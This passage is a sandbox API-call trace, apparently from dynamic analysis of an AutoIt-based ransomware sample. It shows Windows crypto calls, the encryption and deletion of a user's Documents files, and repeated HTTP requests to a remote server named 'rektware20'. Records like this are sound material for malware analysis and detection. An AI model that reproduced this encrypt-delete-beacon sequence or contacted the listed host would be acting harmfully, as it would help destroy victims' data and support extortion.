(in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.676] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.676] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.679] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.679] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.679] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.680] WriteFile (in: hFile=0x3bc, lpBuffer=0x17aedd8*, nNumberOfBytesToWrite=0xbb30, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesWritten=0x130f01c*=0xbb30, lpOverlapped=0x0) returned 1 [0070.681] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.681] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.681] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0070.682] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.682] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.682] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0070.682] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0070.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621558, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0070.682] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0070.682] CryptDestroyKey (hKey=0x164c330) returned 1 [0070.682] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.682] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.682] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0070.683] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.683] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0070.683] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0070.683] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0070.683] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.683] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.683] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0070.683] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.683] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0070.683] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.683] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0070.683] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.683] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0070.683] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.684] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0070.684] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.684] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.684] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.684] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.684] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0070.684] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.684] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.684] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0070.684] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0070.684] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0070.684] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0070.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0070.685] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0070.685] CryptReleaseContext (hProv=0x17aa010, dwFlags=0x0) returned 1 [0070.685] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.685] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.685] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0070.685] FreeLibrary (hLibModule=0x74c60000) returned 1 [0070.685] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.685] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.685] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.685] CloseHandle (hObject=0x2ac) returned 1 [0070.685] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.685] CloseHandle (hObject=0x3bc) returned 1 [0070.693] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.694] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0070.694] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\luYf7iOwXacTY05Djb.xls", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\luYf7iOwXacTY05Djb.xls", lpFilePart=0x0) returned 0x36 [0070.694] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\luYf7iOwXacTY05Djb.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\luyf7iowxacty05djb.xls")) returned 0x20 [0070.694] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\luYf7iOwXacTY05Djb.xls", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c670 [0070.695] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\luYf7iOwXacTY05Djb.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\luyf7iowxacty05djb.xls")) returned 1 [0070.697] FindNextFileW (in: hFindFile=0x164c670, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0070.697] FindClose (in: hFindFile=0x164c670 | out: hFindFile=0x164c670) returned 1 [0070.697] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0070.697] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.697] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.697] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.698] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\msrFz.docx", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cb30 [0070.698] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0070.698] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.698] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0070.698] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0070.698] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0070.698] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0070.698] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e68, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e68, lpdwBufferLength=0x130ef8c) returned 1 [0070.698] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0070.698] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0070.699] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0070.699] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0070.699] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0070.699] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0070.699] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629180, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629180*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0070.699] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0070.699] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0070.700] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0070.700] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0070.700] CloseHandle (hObject=0x0) returned 0 [0070.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\msrFz.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\msrFz.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\msrFz.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\msrFz.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\msrFz.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\msrFz.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\msrFz.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.701] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\msrFz.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.701] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\msrFz.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.701] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\msrFz.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.701] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\msrFz.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.701] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\msrFz.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.701] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\msrFz.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.701] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\msrFz.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.701] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\msrFz.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.701] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\msrFz.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.701] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\msrFz.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.701] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\msrFz.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.701] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\msrFz.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.701] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\msrFz.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.701] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\msrFz.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.701] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\msrFz.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.701] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\msrFz.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.701] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\msrFz.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.701] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\msrFz.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.701] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\msrFz.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.701] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\msrFz.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.701] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\msrFz.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.701] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\msrFz.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.701] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\msrFz.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.701] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\msrFz.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.701] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\msrFz.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.701] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="msrFz.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.701] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="srFz.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.701] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rFz.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.701] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Fz.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.701] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z.docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.701] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0070.701] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="docx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.701] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.702] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.702] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0070.702] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0070.702] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0070.702] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0070.702] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0070.702] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0070.702] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0070.702] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1621018, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1621018, lpdwBufferLength=0x130ee1c) returned 1 [0070.702] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0070.702] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0070.702] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0070.703] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0070.703] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0070.703] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0070.703] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0070.703] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629180, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629180*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0070.703] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0070.704] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0070.704] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0070.704] CloseHandle (hObject=0x0) returned 0 [0070.704] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.704] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\msrFz.docx", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0070.704] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0070.704] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.704] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0070.704] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.704] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.704] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0070.704] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.704] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0070.705] PeekMessageW (in: 